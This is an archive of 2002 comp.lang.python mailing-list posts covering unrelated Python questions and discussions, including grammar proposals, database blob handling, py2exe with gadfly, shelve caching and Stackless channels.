hoping we might see some discussion of *why* you want to do this. Surely unless you are similarly using getattr()-based code to retrieve these globals you are actually writing *code* that uses those global names. In which case, why set them from another dictionary? If you *are* using getattr() to access the "unpredictable" global names, why not simply use the dictionary in the first place? puzzled-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From steve at lurking.demon.co.uk Tue May 21 13:14:44 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 21 May 2002 18:14:44 +0100 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: On Tue, 14 May 2002 15:43:54 +0200, holger krekel wrote: >> Of course, with 20/20 hindsight, a much better approach could have >> been taken. For instance, consider the following... >> >> begin function ... : >> ... >> >> begin while ... : >> ... >> And, relevant to a current PEP... >> >> begin switch ... : >> begin case ... : >> ... >> >> begin default : >> ... > >don't you think that the increased verbosity hurts a lot? >(Apart from the fact that 'begin' sounds like starting a loop to me.) Not really, with just this one keyword. If you've ever used Ada, you'll have seen much more verbosity than this. In fact, most of the block structures in Pascal, Modula 2, Ada and similar require a begin keyword - but it is positioned in such a way that it can't be used as a 'here is a block structure' hint, so multiple predefined keywords are needed in each case. Avoiding verbosity is important, but it always involves trade-offs with other language goals. Python is already frequently more verbose than Perl - for example we need a 'len' function rather than a 'scalar context' symbol to determine the length of a list - because readability is given a higher priority in Python. I simply suspect that it might be beneficial to consider a similar trade-off for grammar-extensibility. As for the appearance of starting a loop, why? - it is already used in a number of languages as part of the start of structure (in Pascal particularly, playing much the same role as the C '{' marker). In Ada, loops are among the structures it is *not* used for. To my knowledge, users of these languages don't suffer from confusion on this issue. >> and because only 'begin' would be a keyword ('procedure' etc being >> ordinary identifiers, which only have special meaning after the >> 'begin' keyword) any new structure could be added without needing new >> keywords or obscure operator combinations - old code would be safe >> from at least one aspect of the evolution of the language. > >not true, unless the parser doesn't look at your code-block. Consider >the 'yield' keyword. Older python-parsers produce a 'SyntaxError'. >If you would esacape that with 'begin yield' then the parsing process >starts to loose a lot of meaning (apart from beeing very ugly). By 'one aspect', I mean the identification of block structures, not any special statements used inside the blocks. 'break', 'continue', 'return' and the like would need another mechanism to support extensions without new keywords, if that was considered worthwhile. However, in this alternative universe, there would be no need for yield. The more sensible (IMHO) alternative would be to start generators using 'begin generator (args)' and use the return statement to return values from the generator. >> So using perlish symbols isn't by any means my ideal - I just think >> that in the long run there may already be a risk of serious creaping >> perlishness (due to the resistance to adding new keywords) > >um, this sentence somewhat means that python is already perlish :-) Yes. For instance, to determine whether a 'def' definition is for a function or a generator, you cannot simply look at its definition - you have to search the body to see if it contains 'yield' statements or not and infer whether it is a generator from that. It is not explicit from the start what you are dealing with, and it is therefore a bit unclear and potentially misleading and confusing. Seems a tad perlish to me :-( Please note - this is not intended as a serious criticism. Generators are a valuable addition to the language and, given the pre-existing circumstances, this syntax had as much merit as any other. I'm simply suggesting that, in an alternative universe where the language grammar was designed to be easily extensible from the start, language extensions such as generators might have been more easily and clearly accomodated without creating compatibility issues. >IMO the developer crew and especially GvR is very careful >with respect to language changes. I don't know if >it would be possible to be even more conservative about >language *syntax* so that older parsers would not choke >on future extensions. I agree. Very much so. I just think that there might be a better path than going through ever-increasing contortions to maintain compatibility when extending the language. -- Steve Horne steve at lurking.demon.co.uk From sholden at holdenweb.com Sat May 4 02:47:29 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sat, 4 May 2002 02:47:29 -0400 Subject: Insert blob data to MySQL References: Message-ID: <8xLA8.3214$v92.2937@atlpnn01.usenetserver.com> "Alex Martelli" wrote in message news:EXKA8.2549$CN3.94262 at news2.tin.it... > Steve Holden wrote: > ... > >>>> s = "string data but it could be anything" > >>>> cc.execute("""INSERT INTO blobtbl (b) VALUES(%s)""", (s,)) > > 1L > > If s is 'anything' (e.g., a cPickle.dumps with binary option set), > MySQLdb.escape_string(s) is likely to work better than plain s > as the value to put in the tuple that's execute's second arg. > Granted. > BTW, with PostgreSQL, recent releases (since 7.1 I believe, i.e., > since 'toast' was integrated in the mainstream codebase), you > can use basically the same approach, except you call the field > type BYTEA rather than BLOB and psycopg.Binary(s) is the > function you call to 'escape' the bytestring to place there. > Not yet done more than looked at PostgreSQL, but I'll get there when the Linux server comes back up in a fe days. > In both cases there is an alternative that hinges on "loading a > data file" (server-side) via a nonstandard SQL function (LOAD_FILE > in MySQL, LO_IMPORT in PostgreSQL) but almost always there > are too many pitfalls with that (you do need to get the data to the > DB server machine, which hampers architectures based on client > and server DB processes on separate machines; you need special > privileges in the database; with LO_IMPORT, you need the data > field to be of special type OID; ...) so I wouldn't follow that route. > Ah, the joy of a standards-based database environment. Wouldn't it be nice if all the database producers decided to break the SQL standard in the same way? Thanks for your useful addition to my original somewhat over-simplified note. you-go-get-coffee-now-i'm-off-to-bed-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From "aglyport\" at n-o.s,p/a__m.yahoo.com> Fri May 17 15:59:41 2002 From: "aglyport\" at n-o.s,p/a__m.yahoo.com> (Anton Graph) Date: Fri, 17 May 2002 12:59:41 -0700 Subject: Initializing PyObject_HEAD in place Message-ID: I have a class derived from PyObject: class MetaFld : public PyObject /* python header: ref. counter + &typeobject */ { friend class MCI; MetaFld *next; protected: long n_id; // for(fldnum=recnum-10000;;++fldnum) n_id = fldnum; ...... The initialization in constructor MetaFld::MetaFld(MetaRec *owner, const char *name, const char *type, const char *field_name_postfix) : PyObject(&metafldtype), ....... worked like that before (last time I compile this which was 3 years ago ot so). Not sure how, but it did. Well, today it did not. Maybe someone upgraded Python to 1.4 in that time period. So, my question is how would I inittialize PyObject struct (the base of my class) in the constructor or my class? I need something like _PyObject_New() as defined for core dll in windows, that is with allocated space passed as a second parameter. I'm using Python 1.4 on SCO OpenServer and would rather not upgrade to latest and greatest (2.2.1?) unless there is a pressing need for that. I've checked the tutorial and took a brief look at FAQ: this does not seem to be covered. Thank you! From sholden at holdenweb.com Fri May 31 09:50:24 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 09:50:24 -0400 Subject: Persistent Directory Change? References: Message-ID: "Dave Butler" wrote ... > I have a need for the current directory from a Python script to persist > after the script ends. Is this possible? A simple approach such as > > -------------------- > import os > > print os.getcwd() > os.chdir(r'f:\temp') > print os.getcwd() > -------------------- > > does not work. It seems the directory change occurs in the Python process, > but not in the command prompt which called it. > > I am using Python 2.1 under Windows 2000. > Under Unix things are arranged so that subshells (such as the one used to run a Python program) get their own copy of their parent shell's environment. Thus changes are explicitly forbidden from propagating to parent shells unless you use scripting in the parent shell (such as cd `python yourprog.py` for example, if you can arrange for your program to write the required directory out as its only output). Under Windows things are a lot sloppier, but not very consistent. I'd suggest you look at your requirements a little more critically to see what laternatives there might be. Sorry to be less than positive. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From pyth at devel.trillke.net Thu May 16 10:40:07 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 16:40:07 +0200 Subject: how to determine an 'open' string? Message-ID: <20020516164007.A28033@prim.han.de> hello, with my replacement rlcompleter module i'd like to have a *correct* check if a string is 'open'. examples: asd"""askdjalsdk # open aksdjasd # closed asjdkk"kajsd'''' # open "'asdasd" # closed """dontcountoneven" # open so i need a function which takes these strings as an argument and return 1 for 'open', 0 for a 'closed' string. Any working ideas? holger From max at alcyone.com Wed May 8 14:40:40 2002 From: max at alcyone.com (Erik Max Francis) Date: Wed, 08 May 2002 11:40:40 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <3CD97128.4858615D@alcyone.com> Grant Edwards wrote: > I usually install Python 2.x in /usr/local and put > /usr/local/bin before /usr/bin in my PATH. Then I do > > #!/usr/bin/env python > > In my scripts. Note that relying on /usr/bin/env is not always the best solution. First, on some weird platforms, env isn't in /usr/bin; and second, env relies on your PATH, which can be different under varying circumstances -- for instance, if you relied on env to find a custom installed python under /usr/local, a cron job running a Python script using env would find the wrong one, since /usr/local/bin is not in the PATH of a cron job. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From shalehperry at attbi.com Sat May 25 12:16:56 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 09:16:56 -0700 (PDT) Subject: Off Topic, But List Related -- Tired of Getting Spammed Via In-Reply-To: Message-ID: On 25-May-2002 Peter F. Ferris wrote: > Good Morning, Good Afternoon and Good Evening, > > I'm not sure if this is happening to everyone or just myself, but for the > 4th time in approximately two-three weeks (since I've joined the Python.org > list), I been spammed because I'm a list member. > > I've noticed in at least one instance my raw e-mail address appeared in the > 'attribution' line of the posted reply, i.e.: "In a message dated xx/xx/xx > someone at somewhere.com wrote: >>blah >>blah >> etc." > > How do I know that the spam I'm receiving is coming from the Python.org > list? Simple, I subscribed with a specific e-mail address that has been > used EXCLUSIVELY on & for this list. It has not been used for any other > public or private appearances. Yet within a week or two I'm collecting an > unusually high amount of spam (considering time on list, etc.) sent to the > 'python only' address. > > I would like to think no one in the group is a spammer (I may be naive at > times!). Perhaps a spammer has subscribed to the list merely to harvest > these sorts of errors. Whatever the reason, I have a couple of suggestions > that I believe can help minimize spam. Even if only a few readers are being > spammed, steps could and SHOULD (IMHO) be taken to minimize or PREVENT it. > Most likely they are eating your address from either a) subscribing to eat addresses, b) web crawling the online archive or c) the usenet postings. public lists lead to spam. You get used to it or you try to control it coming in. Changing this list won't help. From dkt at registriesltd.com.au Sun May 12 20:32:11 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Mon, 13 May 2002 10:32:11 +1000 Subject: OT: Crazy Programming In-Reply-To: <87offlnq3k.fsf@mathdogs.com>; from mkc+dated+1023822045.28c649@mathdogs.com on Sun, May 12, 2002 at 02:06:07PM -0500 References: <87offlnq3k.fsf@mathdogs.com> Message-ID: <20020513103211.A4320@regdp-02.intint.registriesltd.com.au> On Sunday 2002-05-12 at 14:06:07 -0500, Mike Coleman wrote: > Oleg Broytmann writes: > > BTW, the idea of Perl Golf is interesting, but unapplied to Python. It > > is possible to write short ugly programs in Python, but I would not to make > > them the goal of a contest. > > I'd better see a contest for "Python elegance", but unfortunately > > "elegance" is hard (though not impossible) to measure. > > That was my thought exactly. It's kind of a cool idea, but measuring the > wrong thing. The shortest programs may have hack value, but they're It's just a bit of fun, of course, like doing cryptic crosswords. Perl happens to be great for doing stuff like that. Python isn't. It's as simple as that. To say that these programs "aren't readable, maintainable" etc is most amusing in itself, because that is not the purpose of these little "hacklets" (hey, I think I just (re?)invented a word). If you want readable, use Python by all means (although Perl can be just as readable). An interesting observation is this: the difference between the beginner's Python code and the expert's Python code is less than the difference between the beginner's Perl code and the expert's Perl code. This is actually the origin of "Python is more readable", which it is. It's difficult to write unintelligible code in Python (though I'm sure it's possible -- there are people with lots of talent out there ;-)), whereas, it's relatively easy in Perl. David Trudgett From tismer at tismer.com Mon May 20 20:26:45 2002 From: tismer at tismer.com (Christian Tismer) Date: Mon, 20 May 2002 17:26:45 -0700 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CE99445.3070704@tismer.com> Fernando Pereira wrote: > On 5/20/02 3:51 AM, "Christian Tismer" wrote: > > >>This is where I stumbled. For me, it was only one >>task, waiting for multiple channels. But well, this >>was just a special case of PAR which I saw in LIMBO. >>Limbo has a special case where you wait on an array >>of channels, all for input. > > I'm a bit confused here. There is no PAR in Limbo, just ALT Sorry about this -- of course I meant ALT. > alt { channel-expr1 => statement1; channel-expr2 => statement2; ... } > > The special case you mention is a channel-expression in which the channel is > actually an array of channels of the same type, which is a special case of > the above: perform the channel-expression with the first element of the > array to be ready. Yes, exactly. >>The more general case has different code for every >>branch, and these code pieces appear to be again >>tiny tasks, right? > > I agree that it's overkill to create tasks for all the branches of an ALT, > which would be required in a direct implementation of the Cardelli scheme I > referred to. Ok, but this way I now understand what he meant. Things are clearing up for me. ... > In Cardelli's scheme (the first paper I mentioned, not the C# one) ALT and > PAR are implemented in almost the same way. The only difference is that all > the communication requests coming from the guards in the ALT are put in a > mutual exclusion pool. This scheme is very general is that it doesn't assume > single readers or writers on channels, or immediate matching of read and > write requests (thus each channel may have multiple pending reads and writes > queued up). Yes, I understand much more now. The pool approach seems to be reasonable. Many many thanks! I have to reconsider things again. The C# article btw. was *incredibly* interesting. Too bad, I see no chance yet to squeeze this into Python, since the idea of chords is really fascinating. But it appears to make sense with syntactical support, only. ? cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From donn at u.washington.edu Fri May 17 14:56:34 2002 From: donn at u.washington.edu (Donn Cave) Date: 17 May 2002 18:56:34 GMT Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> <1021645025.3396@yasure> Message-ID: Quoth "James J. Besemer" : | Donn Cave wrote: |> What does "subjective" mean? Applicable only to the individual self |> and without relevance to anyone else? | | 1. existing in a person's mind and not produced by things outside it, not | objective. | 2. depending on personal taste or views, etc. 1. Arguably the empty set, unless your person has some supernatural power to generate something ab nihilo. (Mine doesn't.) 2. OK then, I take "personal" to my question in the affirmative. |> If so, then I think I'm hearing |> that a lot of what we call subjective, isn't. Presumably because we |> aren't all so different after all, and though we don't fully understand |> the basis for our reactions to things, that basis is still shared by |> any being like us. | | I agree that many things often regarded subjective are not subjective at all. | | E.g., beauty. People say beauty is in the mind of the beholder but I would | counter argue [... much speculation omitted.] Actually I believe they say "beauty is in the eye of the beholder", but whatever. | ... I read somewhere that there's been a fair amount of study on this and with | computer models of faces there is surprising human consensus about what is | beautiful and regarding relative degrees of attractiveness. I.e., we are not all so different after all. |> In this analysis, we don't just happen to think Python code looks |> better because of some inexplicable individual quirk. That seems |> reasonable to me. | | This is harder because judging the 'beauty' of code is much harder to extract | from your training and background, and what you're used to. Unlike human beauty | you don't have any genetic predisposition one way or the other. I don't think your genetic predisposition model for this is really very useful, and moreover I don't think any model is necessary. I'm not trying to establish a particular mechanical basis for beauty of code. The point is that there surely is a basis for it, and almost as surely it applies to everyone. We can throw the light and heavy objects off the tower and observe that gravity has the same effect on them, and infer that this is a general rule, without needing to understand gravitation. | ... Similarly the omission of the several other extremely | common and useful C idioms that are glorified in Perl is viewed as a glaring | defect in Python. All the rationale why they're not needed and how there are | work arounds sound (to these listeners) like so much crap. I agree it's a min | issue but it's hard to build an objective case that Perl didn't make the bette | choice in this regard (being one of the few places where Perl did NOT try to b | 'inventive'). Note how often these topics come up and the answer is that "you | have no choice, eventually you'll get used to it, once you're properly | Pythonized it won't seem so bad..." Sounds like the epitome of SUBJECTIVE to | me. Yes, but here "subjective" is really about development. You can develop in a variety of directions depending on the influences of environment, there's no arguing that. Is there also a non-subjective factor, i.e., objective beauty? If we are all the same in some ways, then yes. These two can be in conflict, hence rap music, and list comprehensions. Donn Cave, donn at u.washington.edu From gcordova at hebmex.com Tue May 7 15:13:03 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Tue, 7 May 2002 14:13:03 -0500 Subject: variable length print format Message-ID: > > Hi, > Gweepnings. > > i have a variable length list of numbers. > i would like to print them out with indicies in front as shown below: > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > one obvious solution is that i do > for i in range(List): > print "%s:%s" % (i+1,List[i]) > Another obvious solution (if you have Py >= 2.2) would be list comprehension. > > however i have a lot of these and would like it to be faster so i > tried doing this > > formatstr=" %s:%s " * len(List) > > print formatstr % (range(1,len(List)+1), List) > > but it did not work. > Of course not. :-) You *could* create a function which returns a string in the format you want, like: def PairwiseList(lst): S = "" for i in range(len(lst)): S += "%s:%s " % (i+1, lst[i]) return S By using list comprehension you could shorten this a bit: def PairwiseList(lst): L = [ "%s:%s" % (i+1, lst[i]) for i in range(len(lst)) ] return " ".join(L) And, by using some functional wierd magic, you can shorten it a bit more: def PairwiseList(lst): return " ".join([ "%s:%s" % T for T in zip(xrange(1,len(lst)+1), lst) ]) and by using lambda, you can shorten it even more: PWL = lambda L: " ".join(["%s:%s" % T for T in zip(xrange(1,len(L)+1),L)]) Oops!!! You wanted it to print!! PWL = lambda L,W=__import__("sys").stdin.write: W([" ".join("%s:%s" % T for T in zip(xrange(1,len(L)+1),L)])) Which would be the proper answer to your question. heh, sorry. It does work, but it looks hideous ("You can live off it, but it tastes like shit") BTW, I used xrange() to make it more memory efficient. /me ducks! So, take your pick. :-) -gustavo pd: I apologize for being silly. pdd: But it was fun though. From aleax at aleax.it Tue May 7 09:02:08 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 07 May 2002 13:02:08 GMT Subject: survey: is shelve broken? should it be fixed? References: Message-ID: Martin v. L?wis wrote: > Roman Suzi writes: > >> I think it is better to fix and not looking for backward compatibility! >> It will not be seen on the background of other major changes to Python. >> So, no smart is needed, IMHO. > > I disagree. The past tells us that great care is needed for backwards > compatibility. Right. We really cannot afford to change semantics wantonly, even though it may seem the old one was 'broken', it WAS around for years, so clearly some applications might well have relied on it. > I wouldn't call the feature 'smart', but rather describe somehow what > it does, What it does it "avoid laying a trap for the user by having a behavior that tends to be rather surprising". But that's rather longish as an argument name. HOW it does it by "keeping a cache of values retrieved and/or stored until the next call to method .sync" (that's in the patch I put on SF, though I think that, as usual for caches, it should be done with weakrefs where feasible, while still handing not wr-able values). That's rather longish too. If we stick to short adjectives, alternatives to 'smart' might be 'sane' or 'unsurprising', ot of course we could flip the boolean and call it 'dumb', 'insane', 'surprising':-). Clearly I have no good ideas about naming here, but after answering the N+1 - th poor fellow on the help mailing list that had lost time due to the trap, I decided that this should ideally be _gradually_ changed -- unless I and the people I help are the only ones who ever use shelve with mutables, that is:-). > but I agree that it should be done through an optional > parameter. Applications that use that feature need to explicitly > declare that they do. Not specifying the parameter would might cause a > DeprecationWarning. Then, after some time, the DeprecationWarning > could be removed, and the default be changed. Sounds like a good idea. In 2.2.* we might avoid the DeprecationWarning, but have it in 2.3, with the default scheduled to be changed in 2.4. Alex From martin at v.loewis.de Wed May 8 01:32:49 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 08 May 2002 07:32:49 +0200 Subject: XML (XHTML) character entities and PxXml References: Message-ID: andrew at acooke.org (andrew cooke) writes: > > - include the entity definitions in the document itself, i.e. as > > internal entities. > > please could you explain how to do that. do i just stick a ...> thing after the doctype? if so, what should it include? i can > probably automate that. In XML, each document has a document type, that is described in terms of entity and attribute definitions. Some part of the document type might be external (the "external subset"), some included in the document (the "internal subset"). Please see http://www.w3.org/TR/REC-xml#NT-doctypedecl for the precise syntax of a doctypedecl; the internal subset goes as markupdecl into the square brackets. Please see http://www.w3.org/TR/xhtml1/#dtds for the definition of XHTML, in particular http://www.w3.org/TR/xhtml1/DTD/xhtml-lat1.ent for the definition of the latin-1 entities. > i tried this. at least, i tried implementing the interface and using > a method that i thought would set the entityresolver on the parser, > but the method on the class was never called (sorry for the lack of > details - it was at work - i believe i used setEntityResolver and > implemented the single method in EntityResolver as a simple "print", > but nothing printed). That is supposed to work; you'll need to provide details to analyse what went wrong. Regards, Martin From emile at fenx.com Fri May 24 08:23:48 2002 From: emile at fenx.com (Emile van Sebille) Date: Fri, 24 May 2002 12:23:48 GMT Subject: article on Python modules: critique? References: Message-ID: Rob Andrews asks: > I just posted this same message to the Tutor List requesting constructive > criticism. Please pardon the cross-post, but I figure posting the request > to comp.lang.python will increase my odds of having some of the more > glaring blunders pointed out. > > http://uselesspython.com/BatteriesIncluded.html is the latest article > freshly posted on Useless Python. It's so new I haven't really proofed it > yet, and (as usual) submit it for a little constructive criticism. > No glaring blunders that I spotted, just the omission of help as an aid in investigating a newly imported module: help(calendar) -- Emile van Sebille emile at fenx.com --------- From pearu at cens.ioc.ee Wed May 22 17:56:49 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Thu, 23 May 2002 00:56:49 +0300 (EEST) Subject: y=if x>High: 2 elif x Message-ID: On 22 May 2002, gr wrote: > Hi, > is there a simple possiblity to "teach" Python: > > y=if x>High: 2 elif xHigh)*2 or (x Hi everybody. Excuse me for bothering again with an old question... but i still can't solve my problem. The problem is that i can't make a windows exe (with py2exe 0.3.3) because the exe form of the program (wich runs perfectly under interpreter) exits when i try to ask: mydb = gadfly.gadfly() I supposed the problem could be some module not imported automatically by py2exe, but i tried many modules (md5, marshal, string, re (sre, pre), types, socket, select) with NO success at all! py2exe, however, gives me the following error: copying C:\Python22\lib\site-packages\gadfly\kjbuckets.pyd -> dist\SMPNotaMain warning: py2exe: *************************************************************** ********** warning: py2exe: * The following modules were not found: warning: py2exe: * cmndlgsc warning: py2exe: * imagec warning: py2exe: * clip_dndc warning: py2exe: * windows3c warning: py2exe: * filesysc warning: py2exe: * eventsc warning: py2exe: * windows2c warning: py2exe: * controlsc warning: py2exe: * ic warning: py2exe: * misc2c warning: py2exe: * controls2c warning: py2exe: * os.path warning: py2exe: * windowsc warning: py2exe: * stattoolc warning: py2exe: * mdic warning: py2exe: * gdic warning: py2exe: * sizersc warning: py2exe: * printfwc warning: py2exe: * streamsc warning: py2exe: * miscc warning: py2exe: * framesc warning: py2exe: *************************************************************** ********** i always supposed this error was due to kjbuckets.pyd (wich i copied in that directory, as written in the readme for installing gadfly...) If i haven't misunderstood, the kjbuckets.pyd should be the compiled version, and the package should run anyway, corect? And what all these modules ending with "c" are? Now i have some new doubts about all that... And the last question i have to solve is: can i keep using gadfly in the hope to make my "exe" one day, or it's better to go back to a previous version, less flexible but working? I know i'm the only one that can answer the last question but... any help i GREATLY appreciated... Hi everybody, Max From dsavitsk at e-coli.net Sun May 12 12:25:20 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Sun, 12 May 2002 16:25:20 GMT Subject: Reading Dbase files References: Message-ID: how about trying ADO with this DSN-Less connection? Driver={Microsoft dBASE Driver (*.dbf)};DriverID=277;Dbq=c:\somepath\dbname.dbf; See http://www.e-coli.net/pyado.html for details. -d "Leo Noordhuizen" wrote in message news:DRsD8.539382$Fw2.13096346 at nlnews00.chello.com... > I am trying to read .dbf files using the (old) dbf.py module (version 0.2 > 1999/11/12 written > by Michal Spalinski. This seemed to work quite well, untill I found out that > records which apparantly > have been deleted are also read as 'normal'... > In other words: not really useable or at least not compatible with this > format of .dbf files. > > I am looking for advise how to proceed. I really need this functionality and > should like to keep on using Python. > > Thanks, Leo > > From ritchie at fnal.gov Thu May 9 12:36:53 2002 From: ritchie at fnal.gov (David J. Ritchie) Date: Thu, 09 May 2002 11:36:53 -0500 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <3CDAA5A5.D4077E5C@fnal.gov> Brian Quinlan wrote: > Paul Prescod has a rant about this: > http://www.prescod.net/perl/whynot.html An interesting discussion about Perl's understandability difficulties (which I have experienced). I particularly found the part about a difficulty being when behavior is context sensitive right on...i.e.: > Behavior is frequently context sensitive > One of the basic principles of user interface design is consistency. Things should behave the same way no matter what their > context or what the current operating mode is. The same applies in programming languages. When you are reading a piece of > code you already need to keep a bunch of information in your head about the type of various objects and their state. Keeping > language-specific information in there also is just an extra burden.... > To me, Python's use of indentation to identify blocks of code is an example of behavior being frequently context sensitive. I originally thought the indentation thing was cute, cool, and elegant but I must admit that over time the inability to easily move blocks of code around without reformatting the indentation is a pain. Yes, yes, I know a suitably talented editor can make the job easier but... -- David J. Ritchie ritchie at fnal.gov http://home.fnal.gov/~ritchie http://home.mindspring.com/~djrassoc01/ From dalke at dalkescientific.com Mon May 20 22:34:53 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Mon, 20 May 2002 20:34:53 -0600 Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> <83bsbapcmr.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker: >sys.modules.keys() There's also the '-v' command-line option. From 'python -help' -v : verbose (trace import statements) (also PYTHONVERBOSE=x) Andrew dalke at dalkescientific.com From aahz at pythoncraft.com Wed May 1 14:06:44 2002 From: aahz at pythoncraft.com (Aahz) Date: 1 May 2002 14:06:44 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , Bob Melson <"melsonr at earthlink.net"> wrote: >In article , > aahz at pythoncraft.com (Aahz) writes: >> In article , >> Bob Melson <"melsonr at earthlink.net"> wrote: >>> >>>Look at it this way -- you pick the best language tool to do the job at >> >> Fine sentiment. Now, under what circumstances would you recommend Perl >> over Python? > >Kinda hard to say. In general, however, I'd say that _I_ would be inclined >to use perl in preference to python where there's no significant advantage >to be derived from python's OO features. Can you provide a non-contrived example, given that you're attempting to advise someone who knows neither Perl nor Python? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From loewis at informatik.hu-berlin.de Sun May 12 13:12:30 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 12 May 2002 19:12:30 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: Robin Becker writes: > I already knew that in fact it seems to be the encoding flag that > determines things. I think fileencoding is used for possible conversion > of the file into the required encoding. Thus both > gvim --cmd="set encoding=utf8" aaaa.txt > gvim --cmd="set encoding=utf8" aaaa.txt Did you mean to use fileencoding in one of these lines? > display a utf8 file, aaaa.txt, correctly, but the latter has actually > converted the characters to latin1 (at least for me). 'encoding' specifies the encoding used internally in vim. This normally doesn't matter (vim could use whatever it wants to); except that vim also assumes the encoding of the terminal is equal to the internal encoding. What matters is the fileencoding. When opening a file, it converts it from the fileencoding to the internal encoding. Hence, in a Latin-1 terminal, setting encoding to utf8 is not helpful. Instead, setting fileencoding is more useful. The most useful setting (in a .vimrc) is fileencodings, which is a list of encodings tried in sequence. If this list is 'utf8,latin1', vim will first check whether the file is UTF-8; if it isn't, it will fall-back to Latin-1. The value of fileencoding is then inferred from this guessed value. Still, if you put 'fileencoding=' *inside* the file, it won't work, in any released version of vim. That's a bug though, and hopefully fixed some day. Regards, Martin From tjreedy at udel.edu Sun May 19 15:18:30 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 19 May 2002 19:18:30 GMT Subject: Where to find python code beautifier ? References: Message-ID: "Matthew Chong" wrote in message news:ac8njl$svqc$1 at engel.scvmaxonline.com.sg... > Although Python obviate the need of brace but does not mean the code cannot > be beautify] > Anyone knows where to get one ? There is no need for one. We write our Python code pretty in the first place. Terry J. Reedy From paddy3118 at tiscali.co.uk Tue May 14 13:03:39 2002 From: paddy3118 at tiscali.co.uk (Donald McCarthy) Date: Tue, 14 May 2002 18:03:39 +0100 Subject: dynamic functions References: Message-ID: <3ce14354_3@mk-nntp-1.news.uk.worldonline.com> Hi, I needed to do this when adding constraints to a random generator class. I just added constraint functions to a list then applied all the constraint functions in the list one after the other, and rejected the random item if a function of the random item returned a false result. "Uwe Mayer" wrote in message news:MPG.174a73e11c38fffb989681 at news.rz.uni-karlsruhe.de... > Hi, > > I want to concatenate boolean functions, i.e. lambda x: x < 10; during > runtime with "and" and "or". > However something like: > > d = lambda x: x < 10 > d = lambda x: d(x) and (x %2 == 0) > > won't work and will end up in an infinite recursion (as far as I can > figure out). > How do you do something like that in python? > > Thanks in advance > Yours > Uwe From jimb417 at NOSPAMMERStotalspeed.net Tue May 21 18:27:31 2002 From: jimb417 at NOSPAMMERStotalspeed.net (Jim) Date: Tue, 21 May 2002 16:27:31 -0600 Subject: 2.2.1 build fails on linux References: Message-ID: holger krekel wrote: > Whitney Williams wrote: >> >> I cannot build a working 2.2.1 installation, and wondered if anyone else >> had >> encountered this problem (and found a workaround)... >> >> whitney at freaky:~/src/Python-2.2.1$ gcc -v >> Reading specs from /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.0.4/specs >> Configured with: >> ../gcc-3.0.4/configure --with--gnu-as --with-gnu-ld --enable-threads >> Thread model: posix >> gcc version 3.0.4 > > I second that builds with gcc 3.0.4 failed on some of our machines, too. > I have never had any problem with a pre-3 (read 2.95.4) gcc so i > *assume* that gcc3 is the problem. > > holger My 2.2.1 built with gcc 3.0.4 without problems. Jim -- Registered Linux User #269187 From kern at taliesen.caltech.edu Sun May 26 22:59:40 2002 From: kern at taliesen.caltech.edu (Robert Kern) Date: 27 May 2002 02:59:40 GMT Subject: Derived class problem References: Message-ID: In article , Geiger Ho writes: > Hi all, > > Consider, > > class A: > def method1(self): > ... > child = A() > ... > > class B(A): > pass > > > When I call B.method1(), I will create an A child. But this is not I > intend to do. I wanna create a B child. Can anyone tell me how I can > modify? I don't want to override method1 as this is a pretty big code. Try class A: def method1(self): child = self.__class__() class B(A): pass -- Robert Kern Ruddock House President kern at caltech.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From spam at fisher.forestry.uga.edu Sat May 25 16:07:28 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 25 May 2002 13:07:28 -0700 